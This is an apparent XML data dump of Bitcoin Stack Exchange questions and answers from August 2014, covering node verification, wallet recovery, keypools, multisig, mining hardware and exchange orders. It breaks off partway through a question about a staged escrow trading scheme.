  <row Id="30180" PostTypeId="2" ParentId="30177" CreationDate="2014-08-24T02:13:10.630" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I would imagine verifying all of the signatures of the blocks? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You are verifying every single script, every single signature for continuity. You are making sure nobody is spending coins they're not allowed to. You're making sure all the rules are followed. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Essentially doing the same calculation the miners seek to do and just checking their answers?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, in addition to the above. You are verifying every block has a valid Proof Of Work. This takes two SHA256 operations though, versus the billions of billions a miner needs to do. &lt;/p&gt;&#xA;" OwnerUserId="19067" LastActivityDate="2014-08-24T02:13:10.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30181" PostTypeId="1" AcceptedAnswerId="30191" CreationDate="2014-08-24T04:07:53.743" Score="3" ViewCount="142" Body="&lt;p&gt;Since it is possible to track the transactions in Bitcoin, is it possible to devise loyalty schemes?&lt;/p&gt;&#xA;" OwnerUserId="19087" LastEditorUserId="2306" LastEditDate="2014-08-28T20:31:27.573" LastActivityDate="2014-08-28T20:31:27.573" Title="Loyalty programs for Bitcoin transactions" Tags="|traceability|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30182" PostTypeId="2" ParentId="30178" CreationDate="2014-08-24T04:52:44.637" Score="1" Body="&lt;p&gt;Generally speaking, as the difficulty goes up, and you keep the same hardware, your earnings will go down. If they drop below the cost of mining (including electricity, etc), then yes, you will have a loss.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-24T04:52:44.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30185" PostTypeId="1" CreationDate="2014-08-24T12:10:34.870" Score="1" ViewCount="1254" Body="&lt;p&gt;I have blockchain wallet but have lost the private keys of it, is tr any way to restore my private keys. Plz help&lt;/p&gt;&#xA;" OwnerUserId="19095" LastActivityDate="2019-12-16T16:48:05.927" Title="Lost private keys. Help to recover" Tags="|blockchain|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2021-03-19T18:04:23.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="30186" PostTypeId="1" CreationDate="2014-08-24T12:24:52.553" Score="0" ViewCount="312" Body="&lt;p&gt;Is it possible to login from other wallet with adress and password to get back my btc?&lt;/p&gt;&#xA;" OwnerUserId="19078" LastEditorUserId="5757" LastEditDate="2014-08-24T21:40:39.900" LastActivityDate="2014-10-22T07:52:57.543" Title="I lost my computer, inside my hive wallet , I do have my adress and password can I recover my bitcoins?" Tags="|wallet|wallet-recovery|hive|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30187" PostTypeId="2" ParentId="30185" CreationDate="2014-08-24T16:21:08.343" Score="3" Body="&lt;p&gt;No, by design, there is no way for you or anyone to access your bitcoins without the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you can find the keys somehow, you are out of luck. Sorry.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-24T16:21:08.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30188" PostTypeId="1" CreationDate="2014-08-24T16:40:46.910" Score="1" ViewCount="321" Body="&lt;p&gt;Can you please point me to a tutorial for an explanation of the specific &quot;Critical section&quot; implementation that is used in main.cpp. I would like to understand a bit better how does it work. I studied concurrency before so I have some background to be able to understand it.&lt;/p&gt;&#xA;" OwnerUserId="19101" LastActivityDate="2014-08-24T17:52:19.377" Title="Critical Section in Satoshi client" Tags="|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30189" PostTypeId="2" ParentId="30188" CreationDate="2014-08-24T17:52:19.377" Score="1" Body="&lt;p&gt;Are you talking about the &lt;code&gt;CCriticalSection&lt;/code&gt; class?  As you can see in &lt;code&gt;sync.h&lt;/code&gt;, it's just a wrapper around Boost's &lt;code&gt;recursive_mutex&lt;/code&gt; class.  (It looks like the &lt;code&gt;CCriticalSection&lt;/code&gt; name comes from Windows.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read all about Boost's threading API in &lt;a href=&quot;http://www.boost.org/doc/libs/1_56_0/doc/html/thread.html&quot; rel=&quot;nofollow&quot;&gt;its documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-24T17:52:19.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30190" PostTypeId="2" ParentId="30181" CreationDate="2014-08-24T18:07:45.317" Score="2" Body="&lt;p&gt;The difficulty with such a scheme would be identifying the customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly, the loyalty program operator can monitor incoming transactions to addresses registered by participating merchants.  But the public blockchain shows only the address from which the payment was made.  The question is how to use that address to identify the customer who should be given points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the customer made all their payments from a single address, they could simply register this address with the loyalty program in advance.  However, most wallet clients don't work that way; users hold their coins in many different addresses, and new addresses are created (for change) every time another transaction is made.  (The thought is that this makes it harder to tell who a given address actually belongs to, and improves anonymity.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a customer would either have to register a large and constantly changing set of addresses (awkward) or would have to take steps to ensure that payments to the merchant were always made from one particular address that they had registered (not easy to do in most clients, and might require extra transactions and fees to move the coins to the proper address before making a payment).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a similar issue in that merchants should also want to use a large number of different addresses for incoming payments.  If all incoming payments go to the same address, it makes it easy for a competitor to see how much business they are doing.  Also, for safety they may not want to hold all their coins in a single address, so if all incoming payments go to a single address, they would need to make extra transactions later to spread them across other address.  So ideally, each customer makes their payment to a unique address.  Thus, it's not as easy as having each merchant register a single payment address.  They would probably want to pre-generate a large number of addresses and register all of them.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-24T18:07:45.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30191" PostTypeId="2" ParentId="30181" CreationDate="2014-08-24T21:57:39.743" Score="1" Body="&lt;p&gt;As Nate already mentioned bitcoin operates in a totally trustless manner that emphasizes its users' pseudonymity. That means that the buyers would have to voluntarily identify themselves and all that is needed  in this case is their unique identifier in this loyalty program which would allow them to keep their personal data secret but also benefit from this loyalty service, which could be as simple as an alphanumeric that they would have to enter during the checkout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drawback in this case from the service's perspective is that it cannot have any serious control over the cases where a single registration would be reused by more than one individuals who would want to take advantage of the service's logarithmic offerings associated with the total amount spent in a given period of time, so it should be designed in a way that consolidated purchases would not allow for significantly more benefits than those offered for the same amount of money when spent by two or more user accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to take into consideration is that it would also require a user interface where the buyers could enter their loyalty service unique identifier, so it's ideal for online business but it definitely makes things a bit more obscure for brick-and-mortar businesses. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-08-24T21:57:39.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30192" PostTypeId="1" CreationDate="2014-08-24T22:38:32.980" Score="1" ViewCount="28" Body="&lt;p&gt;I've got 7 wallets created in Multibit. Since today, when i open Multibit it is only showing 2 wallets out of the 7 that exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the files stored in user/Library/Application Support/Multibit and all the .wallet are still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to solve this issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="10088" LastActivityDate="2014-08-25T09:18:19.087" Title="Multibit application on Mac only showing 2/7 wallets" Tags="|wallet|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30193" PostTypeId="2" ParentId="30192" CreationDate="2014-08-24T22:53:12.990" Score="1" Body="&lt;p&gt;Ok, after trying different things and updating multibit software i managed to recover my missing wallet by creating new wallet with the exact name of the .wallet that existed in the Multibit Application. If i had a garbage.wallet and was not showing in Multibit, i created manually a new garbage.wallet and that recovered my old multibit wallet.&lt;/p&gt;&#xA;" OwnerUserId="10088" LastActivityDate="2014-08-24T22:53:12.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30196" PostTypeId="1" AcceptedAnswerId="30197" CreationDate="2014-08-25T03:29:03.153" Score="2" ViewCount="523" Body="&lt;p&gt;I'm wondering about switching coins while solo mining? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does switching before I block is mined effect the odds of getting a block reward, or is it always essentially chance??&#xA;For example, if I mine for 30 minutes on Feathercoin, then jump to Litecoin, when I come back to Feathercoin will there be any accumulated value in the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I ever starting over, or is it always chance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I'm using a node stratum pool, so it's direct connect to the wallet.&lt;/p&gt;&#xA;" OwnerUserId="19045" LastActivityDate="2014-08-25T05:27:52.070" Title="multi coin solo mining" Tags="|solo-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30197" PostTypeId="2" ParentId="30196" CreationDate="2014-08-25T05:27:52.070" Score="2" Body="&lt;p&gt;Every single attempt at mining a block is independent of every other attempt and has precisely the same chance of succeeding. There is no intermediate work to save or lose.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-08-25T05:27:52.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30198" PostTypeId="2" ParentId="30192" CreationDate="2014-08-25T09:18:19.087" Score="1" Body="&lt;p&gt;You can use the 'File | Open' command, navigate to where the 'something'.wallet file is, select it and then click 'Open'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will then reopen the wallet and synchronize it.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-08-25T09:18:19.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30199" PostTypeId="1" CreationDate="2014-08-25T09:55:25.757" Score="1" ViewCount="222" Body="&lt;p&gt;I've got a bitcoin address A with its relative encrypted key K stored in a persistence storage.&#xA;I am launching bitcoinj through the WalletAppKit class and calling awaitRunning to wait for the blockchain header being downloaded.&#xA;I am adding the key pair (A,K) to the wallet after decrypting the key.&#xA;I am using the hex of an unspent transaction from the address A and using it as an input for a new transaction with an address B as output.&#xA;I am trying to propagate the newly created transaction to the network but i get &quot;Unknown confidence level&quot; message also if the input transaction has many confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the spv blockchain has to be synced after adding address A but i don't understand how to do it.&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-08-25T09:55:25.757" Title="bitcoinj, unknown confidence level" Tags="|bitcoinj|java|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30201" PostTypeId="1" CreationDate="2014-08-25T15:40:01.500" Score="1" ViewCount="445" Body="&lt;p&gt;Relatively simple question. Is it at all looked down on if I make a sell order at an exchange for a long time? For instance say I get some darkcoin and do the math to figure out how much of a return I'd like to get, then file the sell order in advance before it reaches the price I want. I don't know if this is normal, or seen as polluting the order list or something.&lt;/p&gt;&#xA;" OwnerUserId="19113" LastActivityDate="2014-08-25T18:48:04.317" Title="How long could you list a sell order?" Tags="|sell-bitcoins|exchange-order|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30202" PostTypeId="2" ParentId="30201" CreationDate="2014-08-25T15:53:25.517" Score="1" Body="&lt;p&gt;There is nothing wrong with it. Just put the order up you want, and wait for it to execute. There are far worse things to do on the internet these days then filling the orderbook. Nobody will care, because most of the time it is outside the visible range (the orderbook pages from Kraken for example).&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-08-25T15:53:25.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30203" PostTypeId="1" AcceptedAnswerId="30214" CreationDate="2014-08-25T17:45:37.417" Score="2" ViewCount="152" Body="&lt;p&gt;MultiBit is a Simplified Payment Verification (SPV) client that uses the merkle root of block headers to validate transactions. I'm wondering however, when an address (private key) is imported into MultiBit, how does it know its balance without going through all the transactions within the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="5757" LastEditDate="2014-08-25T18:36:53.553" LastActivityDate="2014-08-26T06:57:03.187" Title="How does MultiBit figure out balance of an imported address?" Tags="|multibit|thin-clients|spv|" AnswerCount="1" CommentCount="0" ClosedDate="2014-09-22T11:13:57.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="30205" PostTypeId="2" ParentId="30201" CreationDate="2014-08-25T18:48:04.317" Score="0" Body="&lt;p&gt;Some exchanges may have an &quot;expiration date&quot; and automatically cancel orders that are unfilled after a certain period of time (usually several months).  So you should check whether your exchange has such a policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, you can leave your order on the book as long as you wish.  Nobody is going to object; in principle, they should be happy to have the extra information.  It doesn't really cause a problem in terms of &quot;cluttering&quot; the order book, and anyway nobody except the exchange managers know that the order belongs to you.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-25T18:48:04.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30206" PostTypeId="1" AcceptedAnswerId="37539" CreationDate="2014-08-25T19:17:16.517" Score="1" ViewCount="237" Body="&lt;p&gt;I'm looking to see whats the limit of characters a nxt message can contain.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-05-23T06:41:50.610" Title="What is the maximum character length when sending a NXT message?" Tags="|nxt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30208" PostTypeId="1" AcceptedAnswerId="30209" CreationDate="2014-08-25T21:11:19.357" Score="0" ViewCount="915" Body="&lt;p&gt;after search and read a lot of bitcoin miner posts in the web, yet I have one doubt before buy bitcoin hardware...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about ASIC Hardware of ButterFly Labs, Avalon, Knc, USB Erupter and others... But anybody specify if the computer have be power on all time...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use ASIC bitcoin miner without leave power on PC 24/7?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If is possible can quote some example...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="19117" LastEditorUserId="5406" LastEditDate="2016-04-25T17:53:42.617" LastActivityDate="2016-04-25T17:53:42.617" Title="Which bitcoin miner ASIC can use without leave power on computer?" Tags="|mining-hardware|asic|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30209" PostTypeId="2" ParentId="30208" CreationDate="2014-08-25T21:40:58.010" Score="1" Body="&lt;p&gt;The computer has to be on while you are mining.  As part of the way mining works, you need block headers as your input data.  For solo mining, these block headers are computed from transactions and other blocks coming from other peers on the network, and you need to update that data frequently.  (If another miner finds a block and you don't update your header to link to it, any block you find after that will be orphaned and likely rejected, making your mining a waste of time and energy.)  For pooled mining, you need updates for similar reasons, except that the updated headers come from the pool operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most such devices, collecting this data from the Internet is handled by the host computer, so it has to be on and running the whole time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to use a small low-power computer for the host.  One popular choice is the &lt;a href=&quot;http://www.raspberrypi.org/&quot; rel=&quot;nofollow&quot;&gt;Raspberry Pi&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-08-25T22:14:01.983" LastActivityDate="2014-08-25T22:14:01.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30210" PostTypeId="1" CreationDate="2014-08-26T01:07:26.957" Score="0" ViewCount="117" Body="&lt;p&gt;Is there a trading bots that trades automatically and can also be hosted by the company that is providing the service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found BTCRobot and Butter Bot. Any reviews on the validity behind these companies and maybe some personal experience would be more than appreciated.&lt;/p&gt;&#xA;" OwnerUserId="19119" LastEditorUserId="5757" LastEditDate="2014-08-26T03:04:20.743" LastActivityDate="2014-09-25T04:02:31.683" Title="Bitcoin cloud trading" Tags="|client|trading|investing|marketplace|bots|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30211" PostTypeId="2" ParentId="30210" CreationDate="2014-08-26T02:06:25.007" Score="1" Body="&lt;p&gt;I'm going to give a general answer here and say any off the shelf BTC trading software is not going to be profitable. Why? Because there's absolutely no reason a functional trading bot would be sold when it could be used to generate income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Profitable bots would be custom made and not advertised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any claims made are dubious at best on these websites.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-08-26T02:06:25.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30212" PostTypeId="1" AcceptedAnswerId="30219" CreationDate="2014-08-26T06:44:47.330" Score="1" ViewCount="59" Body="&lt;p&gt;I copied the whole directory for bitcoin data and then ran two instances one for the first directory and the other for the copied one, and then I generated a new address from the old instance go to the new instance and ran validate address it showed &quot;ismine&quot;:true !! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please explain this ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i6esT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13327" LastActivityDate="2014-08-26T13:50:25.090" Title="Test in a box duplicating addresses how come?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30213" PostTypeId="1" CreationDate="2014-08-26T06:54:14.053" Score="0" ViewCount="952" Body="&lt;p&gt;I want to fetch transactions for an address from the following api:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/address/$btc_address?format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is understanding the json returned from the api, I don't understand which of them are the transaction and the time when that transaction took place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one help?&lt;/p&gt;&#xA;" OwnerUserId="18453" LastActivityDate="2022-05-10T03:05:45.667" Title="Getting transactions and time from Block Chain Info Api" Tags="|mining-pools|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30214" PostTypeId="2" ParentId="30203" CreationDate="2014-08-26T06:57:03.187" Score="2" Body="&lt;p&gt;When MultiBit imports a private key also in the import file is the key birthdate I.e when it was first generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that date it looks up the most recent checkpoint (about every 2000 blocks) in a list of checkpoints it stores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it contacts a bitcoind and says 'give me all the blocks from block (say) 200,000. Here is the bloom filter I want you to use to filter the blocks'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fairly time consuming  compared to if you have a blockstore. (Or something like a remote server like Electrum and Mycelium do). The advantage is that it only uses the Bitcoin Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It now has all the relevant transactions for that private key and hence can calculate the overall balance.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-08-26T06:57:03.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30215" PostTypeId="2" ParentId="30213" CreationDate="2014-08-26T08:37:36.720" Score="1" Body="&lt;p&gt;You could use an online JSON viewer like &lt;a href=&quot;http://jsonviewer.stack.hu&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsonviewer.stack.hu&lt;/a&gt; (there are many others).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just paste the return JSON into their text box and click the &quot;viewer&quot; tab. you will then see the JSON data in a formated expandable tree view, making it much easier to identify the transaction ids, times, and blockheights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transactions start under the [txs] tab in the tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZVq3R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11555" LastActivityDate="2014-08-26T08:37:36.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30218" PostTypeId="1" CreationDate="2014-08-26T13:30:42.923" Score="0" ViewCount="287" Body="&lt;p&gt;Are there any bitcoin package/librairies in popular langage that would make the recuperation of prices easy ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the exemple of the Quantmod package for R that allows you to get market data from multiple sources in one line of code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks, &lt;/p&gt;&#xA;" OwnerUserId="19128" LastActivityDate="2014-09-26T02:08:11.493" Title="Bitcoin packages" Tags="|development|exchange-rate|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30219" PostTypeId="2" ParentId="30212" CreationDate="2014-08-26T13:50:25.090" Score="2" Body="&lt;p&gt;Bitcoin Core uses a &quot;keypool&quot;.  When it first runs, it generates a list of 100 new addresses.  After that, each time the user asks to &quot;generate a new address&quot; (or an address is needed for change, etc), the next address from the keypool list is used, and a freshly generated address is added to the end of the list to replace it.  The keypool keys are stored in &lt;code&gt;wallet.dat&lt;/code&gt; along with your other private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this feature is so that when you back up &lt;code&gt;wallet.dat&lt;/code&gt;, you get not only the keys you have already used, but also the next 100 you will use.  If this were not the case, then everytime you generated an address or made a transaction (generating a change address), you would have to immediately backup &lt;code&gt;wallet.dat&lt;/code&gt; again, and you'd be vulnerable to losing coins if your disk crashed in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you copied the entire Bitcoin data directory, including wallet.dat, you also copied the keypool.  As such, the next 100 addresses &quot;generated&quot; by both installations will be the same.    After that they will differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you probably didn't really want to share the wallet between both installations, since this can cause confusion unless you really pay attention to what you are doing.  So you can delete the &lt;code&gt;wallet.dat&lt;/code&gt; from one of the installations (if you have made real transactions with it, back it up first) and let it be regenerated.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-26T13:50:25.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30220" PostTypeId="1" AcceptedAnswerId="30221" CreationDate="2014-08-26T15:55:35.720" Score="3" ViewCount="423" Body="&lt;p&gt;Do all 3 private keys in a 2-of-3 multisig wallet have to exist on the same device at some point in order to generate the bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be ideal if the 3 private keys never existed on the same device together but it seems the examples I've found assume all 3 exist simultaneously when generating the bitcoin address and redeem script.&lt;/p&gt;&#xA;" OwnerUserId="19133" LastActivityDate="2014-08-26T16:00:40.333" Title="Are all private keys required to create a multisig bitcoin address" Tags="|bitcoind|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30221" PostTypeId="2" ParentId="30220" CreationDate="2014-08-26T16:00:40.333" Score="7" Body="&lt;p&gt;You do not need &lt;strong&gt;private&lt;/strong&gt; keys at all to &lt;strong&gt;generate&lt;/strong&gt; multisig m-of-n address!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do need &lt;strong&gt;public&lt;/strong&gt; keys. Yes, three for m-of-3 and eleven for 5-of-11 (for example)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-26T16:00:40.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30222" PostTypeId="2" ParentId="30206" CreationDate="2014-08-26T16:22:51.440" Score="2" Body="&lt;p&gt;Right now it's 1000 bytes. Text is converted into bytes by using UTF-8 encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't hardcode this limit, use &quot;maxArbitraryMessageLength&quot; parameter returned by &quot;getConstants&quot; API request.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-08-26T16:22:51.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30224" PostTypeId="2" ParentId="28245" CreationDate="2014-08-26T21:48:56.763" Score="1" Body="&lt;p&gt;They are now fully encrypted. There is a button &quot;encrypt&quot; in the wallets message console.&lt;/p&gt;&#xA;" OwnerUserId="19137" LastActivityDate="2014-08-26T21:48:56.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30225" PostTypeId="2" ParentId="14086" CreationDate="2014-08-27T00:34:01.900" Score="4" Body="&lt;p&gt;Start by computing the total amount of work. Work is defined as the expected number of hashes that were necessary for a particular block. If a block's target is &lt;code&gt;Target&lt;/code&gt;, its amount of work is &lt;code&gt;Work = 2**256 / (Target + 1)&lt;/code&gt; (follows from the fact that &lt;code&gt;Target + 1&lt;/code&gt; in &lt;code&gt;2**256&lt;/code&gt; hashes have a value lower or equal to &lt;code&gt;Target&lt;/code&gt;). As the difficulty &lt;code&gt;Diff&lt;/code&gt; is defined as &lt;code&gt;MaxTarget / Target&lt;/code&gt; with &lt;code&gt;MaxTarget = 65535 * 2**208&lt;/code&gt;, it follows that &lt;code&gt;Work = Diff * 2**48 / 65535 = Diff * 4295032833&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for each block, look at its difficulty, and compute &lt;code&gt;Diff * 4295032833&lt;/code&gt;. Compute the sum of all those values for all blocks in your time range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now divide that sum-work by the number of seconds your interval lasted. The result is your average number of hashes per second during that interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For very short intervals (less than a few hours), it is possible for block timestamp inaccuracy to be relevant. One way to avoid this problem is by starting off not with a range of blocks, but a range of timestamps, and choosing all blocks within that range, rather than estimating the time range from the range blocks.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-08-27T00:45:34.993" LastActivityDate="2014-08-27T00:45:34.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30226" PostTypeId="2" ParentId="30218" CreationDate="2014-08-27T01:15:26.593" Score="1" Body="&lt;p&gt;You could take API from one of many exchanges from here:&#xA;&lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/about/markets-api/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is matplotlib library for python that will work well if you provide data.&#xA;For R - xts package for dealing with time series. One you will get to the point with access to single time and corresponding bitcoin price programming there is no difference if data is from bitcoin trades or just regular finance. &lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2014-08-27T01:15:26.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30227" PostTypeId="2" ParentId="25786" CreationDate="2014-08-27T02:01:59.977" Score="1" Body="&lt;p&gt;As far as I can tell, BTC 0.006 is not below any relevant transaction limit. A couple weeks ago I bought a cup of coffee for BTC 0.0033 and it went through without problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would probably pay a fee of BTC 0.0001 - less than 2% of your holdings, and about US $0.05 at today's prices. At US minimum wage that buys roughly 20 seconds of your time. You'll spend more time (= money) than that just reading any other answer, much less implementing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short version - just pay the fee!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Future generations reading this will no doubt, one way or the other, find it hilarious that someone could/would pay BTC 0.0033 for a cup of coffee!)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-08-27T02:07:59.737" LastActivityDate="2014-08-27T02:07:59.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30229" PostTypeId="1" CreationDate="2014-08-27T11:27:37.287" Score="1" ViewCount="66" Body="&lt;p&gt;Is it possible to create a subjective trading system (for eg: second hand goods like laptops, television cell phones etc) using concepts of bitcoins and smart contracts. Payments on the system would be staggered in stages. To give you an example lets Assume Alice wants to buy a second hand Television in the budget range of 100$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;STAGE A:&#xA;In order to participate in the trading system, the user Alice will first have to deposit an Amount equivalent to say 5$(or she may depisit the Bitcoin equivalent of 5%). This amount is refundable at any given time however the significance of this stage is that if Alice chooses to withdraw this amount, she will no longer be able to participate on the platform and view listings available on the platform. So in a way the money put in at this stage is to filter non serious participants and to remove stale and duplicate listings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;STAGE B:&#xA;Once Alice has browsed the platform she shortlists three televisions that she is interested in. In order to send her offer to their respective owners, she has to increase her deposit to say 100$ (which is roughly the price of the television she wants to buy). Once she has put in these 100$ she can start parallelly negotiating with various resellers. The significance of the 100$ put in at this stage is that the counter parties of Alice who are selling the television know that Alice is a serious buyer and also has the capacity to pay for the television. Again if alice chooses to withdraw the entire amount she will drop out of the platform. If she lowers her deposit to the amount that was existing in Stage A i.e. 5$, she will not be able to actively negotiate with the sellers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;STAGE C:&#xA;After parallelly negotiating with multiple resellers Alice finally decides to purchase the second hand television from Bob (the seller), the price finalized between them is 90$. In such an event in order to make sure that the sanctity of the transaction is maintained and both parties honour their commitments, 